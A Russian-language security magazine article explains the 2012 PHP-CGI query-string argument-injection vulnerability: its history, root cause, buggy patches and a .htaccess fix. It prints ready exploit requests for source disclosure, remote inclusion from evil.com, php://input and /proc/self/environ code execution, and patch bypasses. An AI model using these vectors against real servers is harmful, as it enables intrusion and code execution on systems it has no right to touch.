Содержание статьи
PHP: старая песня о главном
На сегодняшний день, несмотря на укрепление позиций своих конкурентов, PHP остается самым популярным языком для разработки веб-приложений. Вместе с тем старый добрый PHP продолжает пользоваться популярностью у взломщиков. Причем если раньше под их прицел попадали уязвимые PHP-скрипты, то сейчас все чаще — баги самого интерпретатора.
Обратная сторона PHP
За последние несколько месяцев сообщения о все новых уязвимостях в PHP перестали вызывать удивление, а некоторые баг-репорты иначе как курьезными не назовешь. Одна из последних уязвимостей является, пожалуй, самой серьезной в истории PHP, так как позволяет выполнить код на любом сервере, где PHP настроен для работы по интерфейсу CGI. Давай разберемся, откуда растут ноги этого бага и каким образом мы можем им воспользоваться.
Как это было
В январе 2012 года голландская команда Eindbazen принимала участие в Nullcon CTF, очередном для себя capture-the-flag-соревновании. В ходе решения одной из задач парни случайно обнаружили странную уязвимость в PHP, благодаря которой впоследствии и выиграли, изменив результаты общего зачета. Выяснилось, что организаторы Nullcon такой уязвимости не задумывали, — это был 0-day-баг в PHP. Через несколько дней Eindbazen отправили разработчикам PHP сообщение об уязвимости вместе с рекомендуемым патчем. Казалось бы, бери — не хочу. Однако в PHP решили пойти по своему пути и были впоследствии за это наказаны.
Возможность выполнения кода первые часы была на сайте крупного хостера
С момента сообщения об уязвимости прошло три месяца, а патча все не было. И вот в один прекрасный день на сайте reddit.com появилась ссылка на внутренний тикет баг-трекера PHP, по непонятным причинам оказавшийся в публичном доступе. В нем обсуждался один из векторов атаки, который позволял просматривать исходный код любого PHP-скрипта, работающего через CGI. Eindbazen ничего не оставалось, как опубликовать информацию об уязвимости, так и не дождавшись выхода патча. Причем в их сообщении также говорилось о том, что баг позволял не только просматривать исходники скриптов, но и выполнять произвольный PHP-код. Хотя Eindbazen не опубликовали готовый вектор для выполнения кода, каждый, кто внимательно прочитал advisory, мог легко догадаться, что для этого требовалось.
Анатомия уязвимости
Прежде чем начать разбор уязвимости, необходимо сказать пару слов о работе PHP через CGI. Вообще существует несколько способов подключения PHP к веб-серверу Apache. Самый популярный метод реализуется с помощью модуля mod_php, который позволяет PHP и Apache взаимодействовать друг с другом в рамках одного процесса. Другой способ осуществляется посредством CGI (Common Gateway Interface). CGI — это порядком устаревший интерфейс, используемый для связи внешней программы с веб-сервером, причем такая программа может быть написана на любом языке. В режиме CGI для каждого запроса веб-сервер запускает отдельный процесс, что весьма негативно отражается на производительности. Именно поэтому на большинстве серверов c Apache используются более производительные варианты: mod_php или FastCGI.
Итак, для работы Apache и PHP в режиме CGI необходимо использовать следующие параметры конфигурации веб-сервера:
Options +ExecCGI
AddHandler cgi-script .php
Action cgi-script /path/to/php-cgi
Такая конфигурация Apache определяет, что для обработки запроса пользователя веб-сервер выполнит программу, путь до которой указан в директиве mod_action. Причем аргументы для запуска приложения генерируются самим веб-сервером. Один из наиболее важных аргументов — значение переменной окружения SCRIPT_FILENAME, в которой отражается полный путь до скрипта, к которому обратился пользователь. Если юзер передал какие-либо аргументы для скрипта в своем запросе, то они передаются через стандартное устройство ввода stdin. Вывод же данных по результату выполнения операции, как ты, наверное, уже догадался, происходит в стандартное устройство вывода stdout. Если абстрагироваться, то получается, что наш браузер напрямую передает данные в stdin бинарного приложения на удаленном сервере.
Суть огромного количества уязвимостей заключается в некорректной обработке системой данных, полученных от пользователя. А в случае с CGI за обработку данных, поступающих в stdin, отвечает сам веб-сервер. Но как именно он обрабатывает данные, поступающие от пользователя? Настало время обратиться к документации и понять, каким же все-таки образом преобразуются данные на пути от строки в браузере до попадания в устройство ввода stdin.
Согласно спецификации CGI RFC, если строка запроса, то есть данные после знака «?» в URI-адресе, не содержит неэкранированный символ «=», то веб-сервер должен считать такой запрос поисковым, разбивать строку запроса на символ «+» (экранированный пробел) и отправлять полученные ключевые слова через stdin CGI-обработчику. Apache все делает в точности, как описано в RFC: здесь его не в чем упрекнуть. А какие именно данные ждет на вход обработчик PHP-CGI? Интересный вопрос.
В 2004 году не кто иной, как Расмус Лердорф, он же отец-основатель PHP, предложил убрать из исходников CGI-обработчика следующий код:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
Эти условия якобы мешали ему тестировать интерпретатор. На просьбу к разработчикам напомнить, зачем вообще этот код нужен, видимо, никто не откликнулся, после чего данный код был убран. Кроме того, никто не вспомнил, что разработчиками веб-сервера не было реализовано экранирование символа «-» перед передачей параметров в CGI-бинарник. Возможно, это бы прояснило суть присутствующих проверок, а именно то, что удаленный из исходников код представлял собой защиту против подобного поведения веб-сервера: в режиме CGI PHP он попросту не парсил stdin-параметры, предварительно определив свой режим запуска и осуществляя соответствующую проверку на наличие в переменных окружения значений, характерных для окружения веб-сервера.
Стандартная функция языка Си getopt(), используемая в данном коде, разбирает аргументы командной строки. Ее аргументы argc и argv являются счетчиком и массивом аргументов, которые передаются функции main() при запуске программы. Элемент argv, начинающийся с «-» (и не являющийся «-» или «–»), считается опцией. Отсутствие экранирования символа «-» в результате обработки запроса веб-сервером и заглушки при обработке потока с STDIN обработчиком CGI, приводит к возможности запустить обработчик с какой-либо поддерживаемой им опцией.
«Баг апача», — скажешь ты, но будешь неправ, так как на самом деле это фича. Все эти восемь лет любой сервер с PHP-CGI мог быть легко взломан с использованием лишь адресной строки браузера. Все же удивительно, что информация об уязвимости появилась спустя столько времени.
Эксплойты
Итак, уязвимость позволяет передать в php-cgi любые параметры, а их у него много, например:
- s — показывает исходный код скрипта;
- n — отключает использование директив из php.ini;
- T — запускает скрипт n количество раз;
- d foo[=bar] — устанавливает или перезаписывает значения директив из php.ini.
Просмотр данных для подключения к БД
Необходимо также сказать о параметре -r — он позволяет выполнять PHP-код напрямую, однако разработчики ограничили использование данной возможности в CGI-версии интерпретатора. Впрочем, это никак не мешает выполнению произвольного кода, так как существует другой способ. Но начнем, пожалуй, с более «безобидного» вектора.
Blackbox? Nope!
Речь идет о показе исходного кода скрипта. Для этого достаточно сделать запрос вида http://site.com/index.php?-s, и PHP без боя выдаст все твои секреты, любезно сделав подсветку синтаксиса. Именно этот вектор стал самым массовым, так как позволял легко определить наличие уязвимости. Когда появились сообщения об этом баге, первым делом я отправился проверять его на своем блоге. И, как ни странно, он прекрасно работал, причем на любом сайте моего хостера. В течение суток можно было, скажем, легко получить данные для подключения к базе данных, не говоря уже о выполнении кода.
Фейсбук с помощью фейковой уязвимости ищет таланты
RCE собственной персоной
Итак, каким образом можно выполнить код, если параметр -r недоступен? Все просто, ведь у нас есть возможность устанавливать значения любых директив конфигурации PHP, включая auto_prepend_file и auto_append_file, которые позволяют автоматически подключать указанный файл при выполнении любого скрипта. Чтобы подключить PHP-сценарий, расположенный на нашем сервере, необходимо также установить значение On для директивы allow_url_include, которая на большинстве серверов отключена по умолчанию, тем самым запрещая подключение внешних скриптов по URL. И наконец, чтобы нам не мешали подводные камни вроде Suhosin patch, призванные усилить защиту PHP, используем флаг ‘-n’. В этом случае PHP будет работать с дефолтными настройками php.ini, а значит, не загрузит нежелательные для нас расширения. В итоге конечный вектор будет выглядеть следующим образом:
http://site.com/index.php?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp://evil.com/code.txt
Еще более удобный способ заключается в использовании внутреннего потока php://input, позволяющего получить доступ к необработанным POST-данным. Используя все ту же директиву auto_prepend_file вкупе с php://input, можно выполнять код без обращения к внешним ресурсам. Для этого POST-запрос должен иметь следующий вид:
POST /index.php?-n+-dallow_url_include%3DOn+-
dauto_prepend_file%3Dphp%3a%2f%2finput HTTP/1.1
Host: site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Connection: close
<?php system("uname -a"); ?>
Не инпутом единым
Последний вектор атаки основывается на все том же способе с автоматическим подключением сценария, однако вместо использования потоков ввода/вывода производится инжект кода в /proc/self/environ. Данный файл, вернее символическая ссылка, являясь частью виртуальной файловой системы ProcFS, содержит значения переменных окружения текущего процесса. Это как раз то, что нужно: ведь в режиме CGI для каждого HTTP-запроса создается отдельный процесс. ProcFS можно встретить в любой *nix-системе, за исключением FreeBSD, тем не менее доступ на чтение /proc/self/environ есть не всегда. При его наличии для успешного выполнения кода достаточно подключить /proc/self/environ через auto_prepend_file и поместить злой код, например в User-Agent:
GET /index.php?-n+-dallow_url_include%3DOn+-
dauto_prepend_file%3D%2fproc%2fself%2fenviron HTTP/1.1
Host: site.com
User-Agent: <?php system("id"); ?>
Connection: close
Патченный патч
Действия разработчиков PHP по ходу всей этой истории выглядят довольно странно и отчасти комично. Мало того что им не хватило трех месяцев для устранения бага, автором которого по иронии судьбы стал сам основатель языка, так еще они умудрились выпустить бажный патч, который можно было легко обойти, слегка видоизменив запрос. Первоначальный патч содержал следующие строки:
if(*decoded_query_string == '-' &&
strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
Данный код проверяет строку запроса: если первый символ является дефисом и отсутствует «=», то PHP не будет парсить параметры в режиме CGI. Однако обрати внимание, что проверяется уже раскодированная строка запроса. Это значит, что возможен обход патча, если в запросе присутствует символ «=» в URL-кодировке (%3d). Иначе говоря, патч никак не повлиял на вектор для выполнения кода, поскольку там и так присутствует %3d, а для просмотра исходного кода потребовалось немного изменить запрос: /?-s+%3d.
Во второй версии патча decoded_query_string заменили на query_string, однако и эта попытка оказалась неудачной, так как был обнаружен еще один недочет. Дело в том, что на некоторых серверах используется неправильная обертка для запуска php-cgi. Например, хостер DreamHost, на котором был организован тот самый Nullcon CTF, как раз такую обертку и использовал:
#!/bin/sh
exec /dh/cgi-system/php5.cgi $*
Ошибка здесь в том, что параметры в php5.cgi передаются с помощью $* без двойных кавычек, то есть если первым символом строки запроса вместо дефиса будет пробел, то патч снова окажется неэффективным. Таким образом, при использовании неправильного промежуточного sh-скрипта для передачи параметров в php-cgi патч окажется бессильным перед запросом вида /?+-s. В итоге PHP так и не представили нормального решения проблемы. Самый простой способ полностью залатать дыру — использовать .htaccess со следующими правилами:
RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|- [NC]
RewriteRule .? - [F,L]
Данный набор правил реализует логику: «если в строке запроса отсутствует символ «=», но есть дефис, то веб-сервер должен вернуть ошибку с кодом 403 (Forbidden)».
Умный бэкдор фиксит уязвимость, размещая .htaccess
WWW
- bit.ly/IwDW8y — адвизори от команды Eindbazen;
- bit.ly/JuwsOR — внутренний тикет о баге в PHP-CGI, оказавшийся в паблике;
- bit.ly/goqH0F — CGI RFC;
- bit.ly/KsYavW — то самое злосчастное сообщение Расмуса Лердорфа 2004 года.
Заключение
Несомненно, за последние несколько лет PHP претерпел существенные изменения, вырос в один из самых мощных языков для создания веб-приложений. Однако последние уязвимости делают очевидным, что безопасность интерпретатора так и осталась на прежнем уровне, и баг в PHP-CGI идеальное тому подтверждение. Если разработчики будут продолжать в том же духе, не исключено, что в скором времени нас ждут еще более серьезные уязвимости.
Топ-5 самых нашумевших багов в PHP
Уязвимость при загрузке файлов
Адвизори: bit.ly/MBmqSZ
Уязвимая версия: PHP < 4.3.8, PHP < 5.0.1
Автор: Стефано ди Паола, 2004 году
Уязвимость позволяла загружать файлы с произвольным расширением в любые директории, если в имени загружаемого файла присутствовал символ «_». Баг не получил широкого распространения, так как вовремя был выпущен патч.Уязвимость «ZEND_HASH_DEL_KEY_OR_INDEX»
Адвизори: bit.ly/doi4UA
Уязвимая версия: PHP < 4.4.3, PHP < 5.1.3
Автор: Стефан Эссер, 2006 год
Печально известная ZHDKOI-уязвимость в свое время затронула такие продукты, как Joomla, phpBB, WordPress и vBulletin. Ошибка заключалась в неправильной проверке ключей хеш-таблицы, содержащей указатели на значения переменных. Благодаря багу можно было сохранить переменные в локальном пространстве имен, несмотря на вызов unset(). При передаче во входящих данных предварительно вычисленного хеша от имени нужного GPC-параметра можно было обойти unset(), что в итоге нередко приводило к локальным/удаленным инклудам.Уязвимость в PHP-функциях для работы с файловой системой
Адвизори: bit.ly/3zpJMN
Уязвимая версия: PHP < 5.3
Авторы: команда USH, 2009 год
После обнародования информации о данной уязвимости сеть захлестнула волна LFI- и RFI-атак. Благодаря этому багу при проведении инклудов появилась возможность избавиться от null-байта. Напомню, что при включенной директиве magic_quotes_gpc null-байт экранируется, что затрудняет реализацию LFI-RFI-атак. Цель использования «ядовитого» байта — отбросить расширение; с помощью нового способа этого можно было добиться с помощью последовательности слешей и точек, длина которой выходила за пределы значения MAXPATHLEN.Уязвимость при сериализации данных сессий
Адвизори: bit.ly/KOzjVr
Уязвимая версия: PHP < 5.2.14, PHP < 5.3.3
Автор: Стефан Эссер, 2010 год
В механизме сериализации сессий присутствовала ошибка, из-за которой было возможно внедрение в сессию произвольных сериализованных данных. Иными словами, уязвимость позволяла передать в unserialize() любые данные, что, в свою очередь, могло привести к вызову произвольного метода ранее инициализированного класса. Например, если веб-приложение работало на Zend Framework и неправильно обрабатывало входящие данные перед их использованием в _SESSION, то благодаря уязвимости можно было выполнить произвольный PHP-код через один из методов ZF.Выполнение произвольного кода
Адвизори: bit.ly/LbpQqH
Уязвимая версия: PHP 5.3.9
Автор: Стефан Эссер, 2012 год
Начиная с версии 5.3.9 в PHP появился новый параметр конфигурации — max_input_vars, цель которого — ограничить количество входящих параметров и тем самым защитить PHP от Hash Collision DoS, отказа в обслуживании путем передачи большого количества GPC-параметров. Однако в коде была допущена ошибка, что позволяло выполнить произвольный код на целевой системе путем создания фейковой хеш-таблицы. Для этого требовалось отправить запрос, в котором количество параметров равнялось max_input_vars (по умолчанию 1000).